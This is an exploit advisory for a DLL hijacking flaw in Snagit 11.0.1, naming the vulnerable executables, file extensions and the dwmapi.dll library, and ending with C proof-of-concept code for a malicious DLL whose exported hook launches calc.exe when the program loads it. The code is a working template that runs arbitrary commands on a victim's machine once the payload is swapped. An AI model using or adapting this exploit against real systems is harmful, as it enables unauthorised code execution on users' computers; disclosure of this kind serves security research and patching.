Exploit Title: Snagit 11.0.1 (dwmapi.dll) DLL Hijacking Exploit 
Date: 2012-08-23
Author: coolkaveh
coolkaveh@rocketmail.com
Greets To Mohammad Morteza Sanaie
sanaie.morteza@gmail.com
Https://twitter.com/coolkaveh
Vendor Homepage: http://www.techsmith.com/
Version: 11.0.1(build93)
Tested on: windows XP Sp3 ENG    
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# Vulnerable: Pixel Bender snagit32.exe & snagiteditor.exe
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# Vulnerable extensions: .snagprof & .snag
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# Vulnerable Dll: dwmapi.dll
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#include <windows.h>
#define DllExport __declspec (dllexport)
 
DllExport void hook_startup() { exp(); }
 
int exp()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}